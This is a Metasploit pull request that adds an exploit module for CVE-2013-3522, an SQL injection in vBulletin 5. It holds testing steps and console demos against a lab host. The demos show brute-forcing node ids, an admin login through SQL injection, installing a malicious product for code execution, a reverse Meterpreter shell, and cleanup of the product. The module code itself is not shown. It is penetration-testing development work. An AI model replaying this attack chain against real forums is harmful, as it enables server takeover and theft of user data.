rapid7/metasploit-framework — pull request #2731 by jvazquez-r7 (2013-12-06 19:53:17+00:00)
Title: Add module for CVE-2013-3522

* Verification

- [ ] Install VBulletin 5 (ask me if a vBulletin 5 package is needed to test this pull request)
- [ ] Run the module like in the demo.
- [ ] When running the module, set the TARGETURI option if vbulletin is installed on other path than "/"
- [ ] When running the module, set the NODE option to a valid NODE id, or the module will try to bruteforce it. Bruteforce range can be set with MINNODE, MAXNODE
- [ ] Hopefully enjoy sessions

* Demo with bruteforcing NODE

```
msf exploit(vbulletin_vote_sqli_exec) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(vbulletin_vote_sqli_exec) > check

[*] 192.168.172.136:80 - Brute forcing to find a valid node id...
[+] The target is vulnerable.
msf exploit(vbulletin_vote_sqli_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:80 - Checking for a valid node id...
[*] 192.168.172.136:80 - Brute forcing to find a valid node id...
[+] 192.168.172.136:80 - Using node id 1 to exploit sqli... Counting users...
[+] 192.168.172.136:80 - 2 users found
[*] 192.168.172.136:80 - Trying to log into vBulletin admin control panel as admin...
[+] 192.168.172.136:80 - Logged in successfully as admin
[*] 192.168.172.136:80 - Getting the install product security token...
[*] 192.168.172.136:80 - Installing the malicious product uwget...
[*] Sending stage (39848 bytes) to 192.168.172.136
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.136:45012) at 2013-12-06 13:47:31 -0600
[*] 192.168.172.136:80 - Getting the uninstall token info...
[*] 192.168.172.136:80 - Deleting the product uwget...
[+] 192.168.172.136:80 - Product uwget deleted

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
emeterpreter > exit
[*] Shutting down Meterpreter...

```

* Demo providing a valid NODE

```
msf exploit(vbulletin_vote_sqli_exec) > set NODE 11
NODE => 11
msf exploit(vbulletin_vote_sqli_exec) > check

[*] 192.168.172.136:80 - Checking node id 11...
e[+] The target is vulnerable.
msf exploit(vbulletin_vote_sqli_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:80 - Checking for a valid node id...
[*] 192.168.172.136:80 - Checking node id 11...
[+] 192.168.172.136:80 - Using node id 11 to exploit sqli... Counting users...
[+] 192.168.172.136:80 - 2 users found
[*] 192.168.172.136:80 - Trying to log into vBulletin admin control panel as admin...
[+] 192.168.172.136:80 - Logged in successfully as admin
[*] 192.168.172.136:80 - Getting the install product security token...
[*] 192.168.172.136:80 - Installing the malicious product oqqlrykgg...
[*] Sending stage (39848 bytes) to 192.168.172.136
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.136:45015) at 2013-12-06 13:47:58 -0600
[*] 192.168.172.136:80 - Getting the uninstall token info...
[*] 192.168.172.136:80 - Deleting the product oqqlrykgg...
[+] 192.168.172.136:80 - Product oqqlrykgg deleted

^C[-] Exploit failed: Interrupt

meterpreter > getuid
sServer username: www-data (33)
meterpreter > sysinfo
eComputer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...
```

* Demo providing an invalide NODE (exploit not successful as expected)

```
msf exploit(vbulletin_vote_sqli_exec) > set NODE 1600
NODE => 1600
msf exploit(vbulletin_vote_sqli_exec) > check

[*] 192.168.172.136:80 - Checking node id 1600...
[*] The target service is running, but could not be validated.
msf exploit(vbulletin_vote_sqli_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:80 - Checking for a valid node id...
[*] 192.168.172.136:80 - Checking node id 1600...
[-] 192.168.172.136:80 - node id not found
[*] Exploit completed, but no session was created.
```